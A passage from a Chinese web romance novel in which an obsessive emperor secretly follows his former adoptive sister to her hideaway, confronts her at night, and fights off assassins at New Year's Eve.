如今宋衍发现了香月楼,这么大一个情报汇集地,彻底没了。此处是他发展了多少年,才有的一处据点。 “当初,应该让你和朱氏一同死的,今日香月楼便不会暴露了。” 楚绣被他吓得节节后退,她转着眼珠子,努力思考如何昏过去。于是开始一边脱去自己衣裳,一边如以往那般,试图用美色保住性命。 “大人!大人!你听奴婢解释!奴婢只是想活得好一些罢了,只要大人放过我,要奴婢做什么都行。” 然而宋禾没留一个多余的眼神,只是看了一眼她身后,楚绣还没来得及回头,便被身后的壮汉扭断了脖子。 宋禾没什么情绪地看着,冷血道:“拿去后山喂野兽,别叫官府注意到。” “是!主上!” …… 另一边,宋衍在知道沈遥和宁梓谦又从蒲州城跑了后,便一言不发地往长安而回。 马车中,南风禀报着,“这几日跟踪莹娘的暗卫来回禀,莹娘这些时日确实没有接触过任何更多的人,看样子她说的都是真的,确实不知道长公主他们去了何处。” “另外,香月楼的人终于受不住严刑,招供了宋禾的一些信息。” “继续跟着。”宋衍转头掀开马车帘子,定定看着外面。 南风想了想,又道:“前些时日,陛下让属下去查宁家的房产,宁梓谦名下的房产都已经被清查了个干净,没有他们两人出现的痕迹。只是,属下无意中找到一个房牙,那个房牙说很多年前,曾卖了一套,偏僻的宅子给甘州有钱的小公子。” “继续说。”宋衍手指一顿。 “属下去查了那小公子的名字和身份,不是宁梓谦,却是曾经宁梓谦的一个好友,后来因战乱无辜丧生。” 宋衍不知为何,在听到此消息后,他的心脏竟不受控制地狂跳起来,压都压不住。 这是怎么回事? 难道是某种直觉? “那处宅子在何处?” “离长安十五日路程的,一处叫枝乡的地方。” …… 沈遥是在到达枝乡后,才收到一封来自莹娘的密信。这封信辗转了很多人手,换了无数个名字,才最终交到沈遥手上。 展开一阅后,她怔住。 刚钓了鱼回到宅子的宁梓谦看她,好奇道:“莹娘信上都说了什么?” 沈遥将信重新合好,抿唇道:“香月楼被宋衍发现,彻底查封了,里面的人也被抓了起来,严刑审讯宋禾下落。” 宁梓谦手一抖,装着鱼的箩筐竟掉落在了地上,鱼儿滑不溜秋地在地上蹦哒。 沈遥:“我们走的很及时,前脚刚走,后脚宋衍就带人去了香月楼。” “竟然这么快。”宁梓谦捂着胸口依旧有些心惊胆战。 当时宁梓谦见沈遥对宋禾和香月楼的感观如此差,争执下,他实在不想损了他在沈遥心中的形象,便只能答应带她离开香月楼,最后想到了此处当初被房牙坑过的临河大宅子。 沈遥:“莹娘倒是没什么安危,就是我有些担心,香月楼查封后,宋衍一定能从楚绣口中知道我还活着。一来,若是他知道我活着,不知会不会对宁家下手。二来,这地方会不会很容易被宋衍查到。” 宁梓谦笑笑,“放心!宁家的人已经在宋衍离开长安这段时日,被秘密迁出,送往北部了。” “而这处宅子,实际上当初买下后,我着实怕被父亲骂我蠢,便将其放到当初甘州一友人名下。” 虽然他那朋友很早便去世了,但宁梓谦觉得要查到这里,并不是件易事。 “诺诺,别想那么多了,我今天可钓了不少鱼,晚上你想怎么吃?”宁梓谦满是跃跃欲试。 沈遥不由笑了出来,“你做?” 这人可是个养尊处优的公子哥,能做得好饭吗? “我做!” 宁梓谦将鱼拿到后厨,忙活了一下午,就光如何杀鱼,都做了许久的深呼吸。待做好晚饭后,早已过了饭点,天已经黑了下来。 此处人烟稀少,风景秀丽,特别是到了夜晚,天空繁星点点。宁梓谦为了看风景,特意将小桌小椅放至了庭院中。 沈遥看着桌上简单的一道鱼,想到他所花费的时间,就知道不能太过期待。而如今冬季,她披了厚实的披风还是很冷,可也不想扫他兴。 毕竟他努力了。 “快尝尝!” 她忍俊不禁,拾起木箸后夹起一片鱼放入嘴中尝尝,一顿。 “怎么样好吃吗?” “好吃。”沈遥这下不是安慰,而是表示真的很好吃,“就是凉了。” “啊!”一股冷风吹过,宁梓谦打了个寒颤,这才反应过来,哪儿有人大冬天在室外吃饭的。 “要不我再热热?” “算了吧,重新起灶怕是麻烦,还得花许久时间。这鱼虽然凉了,但好吃的。”沈遥安慰他,也不想费事儿。 “哎!我娘说的还真对,我这破脑子!考上同进士真是走了狗屎运。”说着,他用力敲了一把自己脑袋。 沈遥忍不住,“噗嗤”一声笑了出来,满眼都是星星。 倏然间,沈遥感受到了身后一股滚烫又黏腻的视线,似乎从后脑勺到耳垂,又从上到下扫过全身,好似被剥光了衣服,用烙铁打上印记一般。 她毛骨悚然,鸡皮疙瘩起了一身,猛地转头看去,那股视线好似又消散了去。 可是这地方空无一人,四周只有寂静无声,和洒遍庭院的月光。 究竟怎么回事? 是错觉? 第59章 第59章男鬼 “怎么了?” 沈遥又扫视一圈,已经没能感受到那股诡异的视线,这才又转过头,继续吃鱼。 “没什么,错觉吧。” 一整条鱼下肚后,沈遥也饱了,喝了几口水漱口。说来也怪,自从跑出来后,她的食欲变得好了起来,也不再吃什么吐什么。 沈遥开始收拾起碗筷,“梓谦,你还在与宋禾有联系吗?” 宁梓谦撩眼看去,摇了摇头,最后又低下头躲开视线。 或许是吃了冷鱼的原因,沈遥回屋后肚子便有些不舒服,在床上躺了好一会儿,辗转反侧许久都无法入睡。 她直起身子,看着床头亮起的烛光,想了想,最后还是将其掐灭。 既然小畜生都不在了,她还点什么灯。 到后半夜,她才终于沉睡过去。只是这夜睡得不安稳,那股视线再一次落到了她的身上,烫得人无法呼吸。 沈遥醒来的早,想起昨日的梦。 她梦到宋衍小畜生找了过来,将宁梓谦抓住五马分尸,又将她重新用链子锁在自己身边,惊得她出了一身汗。 “诺诺,可要出去钓鱼?”宁梓谦的声音从门口传来。 “诶,好。”沈遥应声,决定不多想。 既然宁梓谦说这处地方不容易找到,那宋衍定然没有这么快能找到她。 况且他身为皇帝,日理万机,总不能把心思每天都放到她身上吧。 换上厚实的衣裳和靴子,沈遥跟随着宁梓谦去了河边。 此处河水不宽,也很浅,若不是在冬日,恐怕还是个游水的好地方。 地上还有些积雪,不过很薄,并不影响行动。 两人在河边放了两只小凳,将钓竿甩到河中,便坐下慢慢等待。这期间,宁梓谦一直在与她聊有的没的,天南地北,大街小巷。 沈遥偶尔回复他几句,虽然没说很多话,却也听得认真。 只是今日似乎运气不大好,这许久过去,钓竿也没动静,竟一条鱼都没有。 宁梓谦正抱怨时,沈遥的钓竿动了,她立刻站起来往后拉。 “来了来了!是一条很大的,力气好大!” 没想到这鱼力量忒强,扯着沈遥往前走,就在鱼即将被弄上岸时,沈遥踩着地上的积雪,突然脚底打滑,眼看着就往河里栽去。 也是这一瞬间,那股化为实质的视线又出现了,她来不及思索,宁梓谦眼疾手快 将她扶住,帮着她一同把那条大肥鱼拉了上来。 沈遥平缓呼吸后,猛地转头看去,视线再度消失,而四周算是空旷,看不到什么明显的遮挡物。 “诺诺!我们今晚有的吃了!还是你运气好!”宁梓谦提起大肥鱼,咧嘴笑了起来。 沈遥笑笑,心底总觉得怪怪的。 但又或许是宋衍疯惯了,弄得她像一只惊弓之鸟,看什么都觉得诡异。 夜晚入睡,她照旧熄灭了蜡烛,闭着眼睛刻意没睡。房间空荡安静,她再也没感受到那股强烈的视线。 直到夜深人静,那股视线又一次像滚烫的糖浆,好像从头到脚将她刷了一遍似的。 “咯吱——” “咯吱——” 沈遥猛地睁眼醒来,四周依旧昏暗,房间只她一人,四周也是安静。 难道是她梦里的声音? 她又睡了过去。 翌日醒来后,沈遥浑身无力,或许是没休息够的原因。 晌午过后,她听说这附近有一个小村子,便提议去村子看看,置办些货物。 在离开屋子前,沈遥想了想,找来两根细线,分别拴在门边与窗边。若是外人不注意这线,直接推开门窗,细线便会被扯断。 离开宅子,没想到这附近的村子是极远的。 整整走了一个时辰,才终于走到,返回时沈遥实在没什么力气,便用为数不多的银子购置下一匹马,与宁梓谦共骑回到河边的宅子。 进房间前,她小心翼翼推开一条门缝,从外往里看去,那条线完好无损在那儿,没有断,她这才终于松了口气。 睡觉前,沈遥用了同样的方式,准备好一切,才熄灯上床入睡。 月黑风高。 “咯吱——” “咯吱——” 沈遥猛地再次从睡梦中醒来,可那声音和视线都好似幻觉。她心底还是不安,用火折子点亮了蜡烛来到门边仔细一看,细线还保持原样挂在那儿,而窗户处也是同样。 真是日有所思,夜有所梦? 不然总不能是这宅子闹鬼吧。 翌日,她醒来的晚了一些,在宅子中找了一圈,最后在马厩找到正在喂马的宁梓谦。 只是令她有些吃惊的是,马厩中竟然多出来一匹马,两匹马一黑一白站在一处,昨日他们在村子里买的是那匹白马,黑马哪儿来的? “你什么时候又去买了一匹?你有多余的银钱?” 他们身上备的钱不多,沈遥还想着,等过段日子一切安稳下来后,去村子里找点儿生意做。 宁梓谦扭头看是沈遥,立刻道:“我没买,只是这黑马也不知是谁家的,好像走丢了,竟直接跑到了咱们家门口站着。这马温顺得很,被驯过,一点儿也不像野马。” “我想着,先将它带回来,等之后看看有没有人丢了马,找到主人再还回去。” 沈遥觉得有些好笑,竟然还有把马给走丢的。 她上前抚摸着马头,黑马用鼻子蹭蹭她的手心,确实温顺,看得出来,它还很喜欢沈遥。 她想到什么,又问:“梓谦,这些时日莹娘又再递信来吗?如今大周各处可还在大肆找我们?” 宁梓谦将剩下的干草都扔到马槽中,“没信再递来,不过我也是有小道消息打听过的,海捕文书还粘贴着,宋衍那狗贼还在到处找我们。想来,莹娘也是怕暴露了,这才不敢递信来。” “你放心,他再如何找,又怎会想到这处宅子。” 宁梓谦没心没肺地朝她笑笑。 沈遥放心地点了点头,又多看了几眼马厩里的黑马。 这日下午,用过膳后,宁梓谦便一脸神秘兮兮地离开了宅子,不知去了何处,一直到晚上都不见人。 沈遥肚子有些饿,便起身自己到厨房起灶。 她倒也不担心宁梓谦,毕竟他离开时便说了或许会很晚才回来。 煮了一碗清汤面出来,她咬了一口面,一时怔住。 这么难吃! 那宋衍是如何面不改色,每次都吃的一口汤都不剩的? 沈遥秉持着节约粮食的原则,终于极为艰难地将整碗面下肚,待收拾好后,宁梓谦也回来了。 他直接拉上沈遥的手,满是兴奋,“诺诺!你随我来!” 沈遥吃了一碗难吃的面,胃不是很舒服,走的慢了些,跟着宁梓谦一路来了河边。 看到面前的场景,她微微愣怔。 只见地上摆了一圈蜡烛,还铺满了五颜六色的花瓣,香味浓郁得有些冲鼻。 “诺诺,你站圈里。”宁梓谦看起来分外激动。 沈遥一头雾水,只得上前站到这个看起来不能说丑,但的确很丑的圈子里,又看向宁梓谦。 宁梓谦深呼吸上前,道:“诺诺,我们认识也是好多年了。曾经你答应过要嫁给我,我们订过亲,走过三书六礼,唯独在最后迎亲时发生意外。” 沈遥明白过来宁梓谦在做什么,一时也紧张起来。 忽然,她又一次感受到了那股诡异的视线,烫的周围积雪都快融化了似的。她起了一身鸡皮疙瘩,微微扭头查探四周,可没见到丝毫人影。 “诺诺,如今我们又终于走到一起,这定然是上天给我们的机会。往后,我定会护佑你一生一世,不让你再遭受到苦难。”宁梓谦苦笑,“虽然,我宁家现在破败,但是诺诺,你相信我,总有一日,我会拿回原本属于我的东西,然后全部捧到你面前。” 沈遥被那股视线盯得发颤,她眼睛来回寻视,心不在焉,也没完全听清宁梓谦究竟说了什么。 “诺诺,你愿意再嫁我一次吗?” 沈遥突然回神,静静看着面前的人,许久没说话。 “你刚才说什么?” 宁梓谦笑笑,很有耐心地摸了摸她发顶,又问了一遍,“诺诺,你愿意再嫁我一次吗?” 沈遥不知如何回答,只是忽然又感受到,那道视线消失了,就像刚才的一切,都是自己的幻觉。 宁梓谦紧张地手心冒汗,不断吞咽口水,看起来颇为平静地等着她,实际上心已经飞出了嗓子眼。 沈遥犹豫了。 其实从跑出来后,她也没想过要再嫁给宁梓谦,婚事过去就过去了,如今一切都发生了变化。 宁梓谦不再是她的未婚夫婿,宋衍也不再是她的臭弟弟。 许久等不到回答,宁梓谦在烛光下的神色逐渐暗淡下去。 沈遥终于开口:“我也不知道。” “……” “梓谦,过去发生了如此多的事儿,我说不上来究竟是什么改变了。我现在其实,没什么心思谈论婚事。可是,你对我的好我都看在眼里,梓谦,你是个好人。” “好人……”宁梓谦喃喃自语。 “可以给我时间考虑吗?”沈遥不知为何,心底很是愧疚,不太敢直视宁梓谦那双阳光般的双眼,于是也没有立刻拒了他。 宁梓谦深呼吸,手指在颤抖,竟都不知该放到何处了。 他最后朝她笑笑,“没事儿,当然可以给你时间考虑了。况且我们现在生活还不稳定,还在四处逃亡,确实不是谈论婚事的时候。” “没关系,诺诺,我等的。” 沈遥咬唇,拧着手,“……谢谢。” 两人将河边那一圈蜡烛吹灭,东西都收拾好后,才又一同回了宅子,很快各回各房。 沈遥这次回去时同样小心翼翼地推开一道门缝,见那根细线仍然完好无损挂着,又想到今日宁梓谦说的话,心头不知为何沉了一下。 待关上门,重新将细线弄好后,才熄了灯躺到床上。 她睁着眼睛,双手枕在后脑,回忆着宁梓谦在河边说过的那些话。 真的要嫁给他的吗? 若是扪心自问,她其实不太愿意,可又不想伤了这个大男孩的心。 宁梓谦在刚认识的时候,就一直对她很好,进退有度,为人风趣却也是有礼,看得出来,他满心满眼都是她。 当初答应那桩婚事,是在她当时看来最好的选择。 宁梓谦会是一个好丈夫。 至于她喜不喜欢,那是另一回事,好像更多的是感动,而非能让她心跳如擂的那种心动。 可是如今宁梓谦不仅失去了大哥,也失去了父亲,他成了宁家的顶梁柱,还因为她的原因四处逃亡。 若是她不顾及他丝毫的脸面,直接拒了他,那也太不是人了。 所以喜欢,心动,究竟是什么感觉? 心跳如擂的感觉……吗? 那张俊美又病态的脸忽然浮现在脑海中,沈遥震惊地摇头,将那幅画面戳 破,拉过被褥将头盖住。 沈遥,你真是疯了,怎么会想到那只小畜生! 她心底装着事儿,一直到很晚,才迷迷糊糊睡去。 半梦半醒间,又来了。 那股浓烈滚烫的视线,又来了,像烙铁般滑过她的眼皮,鼻尖,唇峰。 “咯吱——” “咯吱——” 又是那声音! 沈遥又一次在深夜惊醒过来。 她大口喘息着,像是刚被从海水中捞出来一般,心跳得乱七八糟。黑暗的房间中,并没有那诡异又恐怖的“咯吱”声。 她忙不迭拿起床头的火折子,将一盏灯点亮。在光亮之下,才终于感到一丝安全。 沈遥坐了好一会儿,待缓过来后,抬着那盏灯起身,走到门前,靠近后细细检查那根细绳。 细绳没有断,位置也没发生过任何改变。 她又来到床边,同样,那根细绳还是原模原样挂着。 可是,这每晚“咯吱咯吱”的动静究竟是哪儿传来的? 不像老鼠的声音,像木板,被利刃划过的声音。 木板? 她开始在房间内搜寻,看过书柜后面,又看过屏风,桌椅,甚至净室的浴桶和恭桶。 所有的一切都没什么变化,还是原本的样子。 难道她还遗漏了何处?总不能真是闹鬼吧。 沈遥扭头时,视线盯着,看着自己的床忽然有些毛骨悚然。 还有一个地方没看。 床底。 她压着脚步,一步步走向床榻,心也跟着“咚、咚、咚”地强烈跳动起来,连呼吸都变得黏腻。 停在床边,沈遥举着灯蹲下,在照明下往床底一扫。 空荡,什么都没有。 她脑袋里紧绷的那根弦松了一下,可视线忽然被床底一处看不太清的地方吸引过去。 那是什么? 想了想,沈遥平躺下来,手上依旧举着灯,挪动到了床底下。当她照亮这个狭小的空间,自下而上去看床板时,身上的汗毛倏然间一根根直立起来。 床板上被匕首刻上了数不清的字,整齐划一: “诺诺诺诺诺诺诺诺诺诺诺诺诺诺诺诺……” 甚至还有极少个“宁梓谦宁梓谦宁梓谦”,可宁梓谦的名字在被刻上后,用被用匕首一道道划去,似乎恨极了他,恨不得杀了他。 沈遥惊恐地从床底挪出来,站起身,灰头土脸,还没来得及拍去身上灰尘,便见到房中站着一个一动不动披头散发,身着白衣的人! “啊!” 沈遥被吓得后退两步,双手捂住嘴,呼吸停滞。 她心底有了猜测,再重新举起灯,往前看去时,果然是宋衍。 此时她有些想哭,不是因为被宋衍再次抓住的哭,而是觉得自己见了鬼,被吓哭。 她半晌才找回自己的声音,“你怎么在这儿的?” 头发也不束,浑身白的和鬼一样。 宋衍没有说话,只是朝她又走了两步。 沈遥的身后就是床,在退无可退时,他忽然一把将她捞过,抱在怀中,深深嗅着她身上的气味。 他声音很闷,真的好像一只水鬼,“想你,就来了。” 他力气很大,沈遥挣扎不开,“你吓死我了!” 宋衍用许久没刮去的胡渣蹭了蹭她细嫩的脖颈,“诺诺,还好你没事儿,若你真有事儿,我定然陪着你去。” “你……”沈遥身子僵住,“你什么时候知道,我没死的。” “看到那具尸体时就知道了。” 这么早? 据宁梓谦所言,那具女尸是从乱葬岗找来的,在水中泡久后辨别不出模样,仵作也很难看出具体的死亡时间。 若她假死,那宋衍便也没了对宁家和锦书动手的理由。 可是她没想到,他竟然看出那具尸体不是她。 “你怎么看出来的?” “她身上的味道,她指头短了半厘,脖颈粗了一点点,耳朵的位置长得偏上一点。” 沈遥无语。 “可那尸体都泡发了,和我原本有些细微的不同,应该也看不出来。” 宋衍报复性地一口咬上她的耳垂,却没用力,又将其含在口中,温软的舌尖舔过,她浑身一抖。 “诺诺身上每一次的模样,早刻在了我脑子里,我只要根据你的样子,推测出你泡发后的模样和气味,便能分辨出来了。” 沈遥欲哭无泪,再次用力一推,宋衍这次没再钳制着,松了手倒在她的床上,散着头发,斜眼看去,一言不发。 就在此时,宁梓谦突然冲破房门,跑了进来,大声喊道:“诺诺!不好了!宋衍狗贼的人找来了!快跑……” 宁梓谦声音戛然而止,在看到躺在床上的水鬼后,已经说不出话了,只睁大了眼睛瞪着面前的景象。 南风紧随其后,低着头不敢去看室内,只一把抓住宁梓谦,将人往屋外拖去,“陛下恕罪!是属下失责!” 宁梓谦也不知自己怎么回事,僵硬地跟着南风走了出去。 南风离开时,还不忘将房间门给两人带上。 沈遥转身看去,宋衍已经在床上坐起来了,定定看着她,幽幽问:“诺诺,你还要嫁给宁梓谦吗?” 沈遥:“……” 宋衍:“你们在河边,我都看到了,你还要嫁给他吗?” 沈遥:“嫁给谁,是我的事儿,与你无关。” 宋衍:“……” 沈遥哂笑,“不过,你既然又找到了我,宁梓谦又在你手里,我也无法嫁给别人了吧。这次你要将我锁在哪儿?” 宋衍慢吞吞摇了摇头,“诺诺,我不会再逼迫你了。” 沈遥不信,也不想说话。 宋衍苦笑,“若我想逼迫威胁你,前几天早做了。” 他只敢躲在暗处窥视她,直到今夜看到宁梓谦的求婚,他再也控制不住,忍受不了。 可若是沈遥没有发现他在床底刻下的那些字,他或许并不会走出来,出现在她面前。 他实在太害怕了,他怕她为了逃离他,再次做出威胁到她性命的事。 那些在长淅河找寻她的日子,对他来说就是在地狱中一种惩罚。他明明还没来得及陪她一同入地狱,却已经把刀山火海下油锅都体会了一遍。 无论如何,她都不能死。 沈遥抿唇,不想再去纠结他怎么做到的神出鬼没,只是道:“我不回去,也不相信你。” 她不相信他是应该的,这只小畜生,小骗子,骗了她那么多年,骗得她好惨。 宋衍自然也知道,他的诺诺已经不会再信她了。 她还用了同样的手段,用欺骗狠狠地惩罚了他一通。 “诺诺,我会证明给你看的。”他站起身朝她笑笑,“你想去哪儿便去,想嫁给谁都可以,我不会阻止你了。” 沈遥蹙眉,似乎还是不相信他有这么好说话。 “那你还在这里,不回长安?” 宋衍拉住她的手,又一次没骨头似地缠上来,将人抱到自己怀中。 沈遥已经懒得挣扎,也疲于挣扎。 他在她耳边呼气,手放在她腰间慢慢收紧,“我就想跟着你,诺诺,我曾经说过的,我是你的影子,上穷碧落下黄泉,你都甩不开我。” “我自然也不会阻止你做任何事,只是想跟着你,一直看着你而已。” 沈遥到了如今,过了这么久的时日,依旧不能理解他身为疯子的想法。他似乎没有什么要考 虑的东西,只有执念支撑着他的行动。 曾经的执念是为了替沈家报仇,甘愿同姨丈揭竿而起,夺了帝位。 后来的执念是将她留下,便安排人劫亲,趁着她失忆,哄骗,夺了她。 如今,他的执念依旧是她。 竟真的从未变过。 她该怎么办才好? “宋衍,你非要这样跟着我,窥视我,我自然无法阻止。好像无论我跑到哪儿,你确实都会找到我。” 宋衍“嗯”了一声,将唇落到她脖颈上,又伸出舌尖舔过,留下一串炽热。 “所以,就算看着我嫁给别人,与他人同房,你也要在暗处窥视?” 宋衍身子一顿,想到她和他人行夫妻之事,整颗心脏便火烧般疼痛。可他更怕的,是她死。 那种体内倏然间长满了虫子的感觉,在五脏六腑上爬过,啃噬过,叫他七窍流血,又从眼睛,耳朵,鼻孔,口腔,一只只爬出,将他整个人的肉身,包括魂魄彻底吞没。 那种感觉太痛,太可怕。 所以他愿意退让。 他到她耳边低声说:“没关系的,诺诺,你想嫁谁都好,想和谁行鱼水之欢都可以,我不阻止你。” “让我做你的姘头,你和其他男人欢好完,别落下我就好。这样,你可能满意?” 第60章 第60章来给你谢罪的 沈遥耳根子通红,脑袋好似炸开了一般。 宋衍刚才说了什么?她没听错吧。 他说他要做她的姘头? 一个皇帝,做她的姘头? 沈遥此刻感到自己二十年的观念在这瞬间崩塌。 “你疯了。” 她不知自己说过多少次这句话。 宋衍一言不发,只是依然很固执地不愿松手。 沈遥整个人还沉浸在震惊中,一动不动,而宋衍也在此趁机又吻上来。他在一步步试探,从她的脖颈,吻到她的侧脸,耳垂,鼻尖,轻轻舔舐过她的眉眼,最后落到她的唇角上。 沈遥没有任何反抗,此时她感觉自己被一只从地下冒出的鬼所拉住,若是一不小心,或许便被这只鬼再度拉入了地府。 宋衍熟稔地打开她的嘴,和她的舌头纠缠在一起,开始如曾经那般吞食着她的唾液,如饥渴已久的人不受控制地饮下甘露。 沈遥舌根发麻时,才意识回笼,终于将他推开。 他没有用很大力,她很轻易就推开了他。宋衍没骨头似地又倒在床上,仰视着她,面上带着强烈的渴求和卑微。 他刚才又贪心了。 “诺诺!”门外传来宁梓谦的声响。 沈遥回过神,打开门后宁梓谦又跑了进来,“你没事儿吧?那狗贼可欺负了你?” “没有。”沈遥摇头,“他哪儿能真欺负了我去?” 她越过宁梓谦往屋外一看,已经没了南风和暗卫的身影。 转头在看向床时,哪儿还见着宋衍。 若非有宁梓谦的反应,沈遥差点儿以为自己刚才是做了梦。她环视着整间屋子,试图找出密道之类的痕迹,却看不出一分异常。 真不知这个人从哪儿冒出来的。 宁梓谦蹙眉,“诺诺,我们趁现在那狗贼不在,快些离开此地。” 沈遥一把拉住他衣袖,待宁梓谦转回头时朝他笑了一下,“算了,暂且先住着吧。” 且不说无论逃到何方,宋衍怕都是能找到她。与其整日惊心胆战,东躲西藏,如今一切暴露在他面前,反倒叫她心底松懈下来。 累了。 “宋衍与我说,不会干涉我自由,既然如此,我也没什么跑的必要。至于他在此处爱干什么,便干什么去吧。” 沈遥也对他着实无力。 这一次的宋衍确实算得上守信,没有总出现在她面前晃悠,也未再干涉,或是试图阻止她任何行为。 但沈遥有时依旧能感受到他的气息,视线,好似无处不在,萦绕在她周身。 其实她并不反感这样的感觉,她最反感的是欺骗,囚禁,和威胁,最起码,现在他没对她再做出这样的事儿。 沈遥和宁梓谦决定再去村子里逛逛,如今有了两匹马,沈遥也猜到那黑马究竟是哪儿来的后,便也不与宁梓谦共骑,自顾自上了自己买的那匹白马,一路小跑着往村子去。 在路上时,她回头看了一眼身后,并未见到宋衍神出鬼没的身影。 进入村子后,恰巧碰到了一伙村民送葬,棺木被抬着,一群穿着丧服的人抹着眼泪,抱着牌位,撒着纸钱,哭哭啼啼往村外去。 沈遥驻足了一会儿,听着身旁的人议论。 “哎,还真是倒霉,这一场小小的风寒就要了条人命。” “可不,自从赤脚大夫走后,这村子也真是没人能治病了。听说本来风寒都要好了,结果家里长辈不知从哪儿弄了偏方,给人喝下药后,反倒病得厉害,没几日就走了。” 宁梓谦看着沈遥的视线,解释道:“小地方就是这样的,随便一点儿小病就能要了人命。毕竟行医的人都去镇子或城里开医馆了,哪儿会来这些地方。” 沈遥点头,跟随着宁梓谦离开去糖铺中买糖,她随意尝了几个,可这儿的糖都甜得发腻。 “还真有些怀念以前吃的糖人了,可惜这里没有。” 宁梓谦想到了长安城,却没说什么,只是抿着嘴。 沈遥将剩下的怡糖装好,又去了趟书斋,买了几本医书。 如今她已经无需再看医书寻找找回记忆的药方,可看到刚才的场面,心底不由一阵唏嘘。 她希望自己能做点儿什么,帮助到这些百姓就好了。 可惜的是,她不是医师,而整个大周,还有数不清这样无法看病的人家和村落。 这一趟来村子上,买了一只鸡,回到宅子后,难得的吃了一顿烤鸡,宁梓谦又用剩下的鸡架煲了鸡汤。 沈遥回到房间后,立刻发现了放在床头的一只糖人。她心底一动,上前将其捡起,是个胖女娃娃。 放在手心转了一圈,抿唇,心想这小畜生手艺倒是比之前好了不少。 就是真不知道,宋衍究竟是如何整日跟在她身后的。 难道是暗卫?暗卫跟踪她,又向他禀报了她所有的一言一行。 这样好像还更能说得通。 沈遥没有立刻吃这糖人,只是随意将其扔到一边,再也没管过,拿过医书躺到床上翻看。 沈遥翌日醒来时,周身萦绕着那股青草的冷香,待彻底睁开眼睛后,整个人吓了一跳,往后挪动了些。 宋衍光明正大地坐在她床边,搅拌着一碗鸡汤。 沈遥:“你怎么来了?什么时候来的?” 他没回答她的话,只是将鸡汤放到床头,又推了推那盘烤鸡腿。 “特意让厨娘做的,你以前很是喜欢,趁热吃。” 沈遥坐起身,先低头看了一眼自己身上的衣物,皆是整齐,不像被动过的样子。 她这才又将视线落到那碗鸡汤上,“我不想吃,你拿走吧。” 宋衍看着她的嘴角,没说话,没有将其拿走,只是仍放在床头,转身离开她房间。 毛病…… 沈遥下床洗漱过后,又看到放在床头的食物,最后抿唇拿了出去,摆在食案上。 浪费粮食不好。 这么想着她还是决定将宋衍送来的这些东西吃了,还没来得及动手,一只手伸了过来,抓起一个鸡腿就往嘴里塞。 “诺诺你亲手做的?”宁梓谦没几口就啃完了鸡腿,眼底满是惊喜,“没想到,诺诺手艺竟如此不错。” 那股刺骨的视线忽然又落了过来,沈遥没有回头,也没有四处搜寻,干笑几声,“这些你都吃了吧,别浪费了。” 宁梓谦吞咽着食物,不解:“你不吃吗?” “嗯,我不饿。”沈遥笑笑起身,忙不迭离开了此地。 后来好些时日,宋衍绝大部分时间都不会出现在沈遥面前,只偶尔突然不知从哪儿冒出头,晃荡一下,给她送点儿什么东西,又 离去。 有时是吃食,有时是些小玩意儿,有时是时兴的衣裳。 似乎再尖锐的话语,再冷淡的神色,都阻止不了他的行为。 一直到了除夕前一周,宋衍再也没出现过,甚至连偶尔如芒在背的视线都消失了。 难道他终于放弃了? 除夕当天,沈遥从村子上买了几壶小酒回来,都是果酒,不易醉人。 她身上裹了一圈厚厚的披风,和宁梓谦坐到小院儿中,喝几口小酒,吃几碟小菜。 宁梓谦也多喝了几杯,微醺着望向正在斟酒的人,问:“他走了吗?” 沈遥斟酒的手一顿,几滴酒水飞溅在她手背上,凉飕飕的,“不知。” 宁梓谦看着她手背上的清酒,拿出帕子轻轻替她抹去,“你希望他走吗?” 沈遥的手缩了一下,“梓谦,你喝醉了。” 宁梓谦笑的比哭还难看,“如今你倒是也不愿跟着我再继续北上了。” 沈遥心底有些慌,说不上来为何,拢了一把身上的披风,“那边没有我认识的人。” “我以为,若是喜欢一个人,定会想要跟着他去往任何地方。” 沈遥心脏有些紧缩起来,这些时日,她自然也是发觉了宁梓谦变得愈发怪异。她一直能理解,原本的未婚妻不愿再成婚,而另一个男人还整日睁着一双眼睛,在暗处窥视,换谁心底会好受呢? “抱歉,梓谦。” “诺诺,你喜欢过我吗?”宁梓谦双颊愈发红了,是醉酒后的反应。 沈遥实在不知该说什么,只是侧开脸。 宁梓谦不由直起腰,牵了下唇角,“你从来没喜欢过我,我其实很早便知道了。既然如此,当初为何又要同意嫁给我?” 沈遥吸了口气,“梓谦,你醉了,回屋去吧。” 宁梓谦摇着头,此时更是咄咄逼人,“诺诺,既然已经同意嫁给我,那为何又不能专心一些,为何现在又要反悔呢?” 他自顾自说着,好像又突然明白过来些什么,哂笑一番,却没在说话。 夜空蓦地亮了一下,声音从天边传来,打断了两人的谈话与心绪。 沈遥抬头望去,见是一团白光在天空炸开。 除夕的烟花? 可是四周袅无人烟,何人放的烟花?宋衍? 沈遥等了一瞬,见夜空中没了更多动静。她忽然意识过来什么,不是烟花。 是宋衍暗卫所放出的信号! 沈遥耳朵一动,立刻抓着宁梓谦的衣领往旁边地上一滚,一只箭“噌”一声飞来,又被一剑劈飞,掉落在她跟前不远处。 她抬起头,看着突然又出现,挡在自己面前的宋衍,身上的黑色斗篷被风卷了起来,手上的利剑还反射着月光。 沈遥来不及细思他从何处冒出来的,立刻将醉醺醺的宁梓谦扶好,站起身。 宋衍没有回头,声音从前方传来,“刺客人多,暗卫已经放了信号,很快会有更多人来,你先躲起来。” 沈遥颔首,将坐在地上的宁梓谦一把拖着,往房间里去。 她回头看了一眼,见宋衍和现身的暗卫们已经和大群的刺客混战在一起。 沈遥有些想不通这刺客的身份,可现下来不及她多想。 “砰——” 被冲破的窗棂碎木从空中飞来,沈遥侧了下脸,碎木片划破了她的额头。 刺客翻窗而入后,直冲沈遥而来。 她眼疾手快从一旁剑架上抽出往日练功所用的长剑,在刺客袭来时,从前往后一剑捅进那人前胸。 宋衍见状立刻过来,一把将那死去的刺客踢开,继续挡在她的前面阻挡其他刺客。 “你叫的人还没来吗?” “快了!” 沈遥起身背对在他身后举剑,“这些是哪儿来的人,你知道吗?” “大概。”宋衍说的话不多,就这两三句。 当她的背贴上他后背时,他心脏又跳漏了几拍。 心跳好似又连在了一起。 “是宋禾的人吗?” “不知道。” 宋衍眯眼,这些时日,有人掌握了他动向,总有人追杀他。短短一周,已经出现了三次刺杀。 他担忧沈遥安危,便暂时没出现在她面前。却没想到,刺客为了引他现身,直接朝沈遥而来。 对方是知道他软肋的。 此时狂风大作,庭院中的积雪被吹了个漫天飞。 铁剑的声音从零零散散开始聚集起来,沈遥望外看去,宋衍的人到了。 此时来了更多的暗卫,包括千牛卫,刺客很快便落了下风,整个宅子弥漫着浓郁的血腥。 黑衣刺客该死的都死了彻底,倒在地上一动不动。 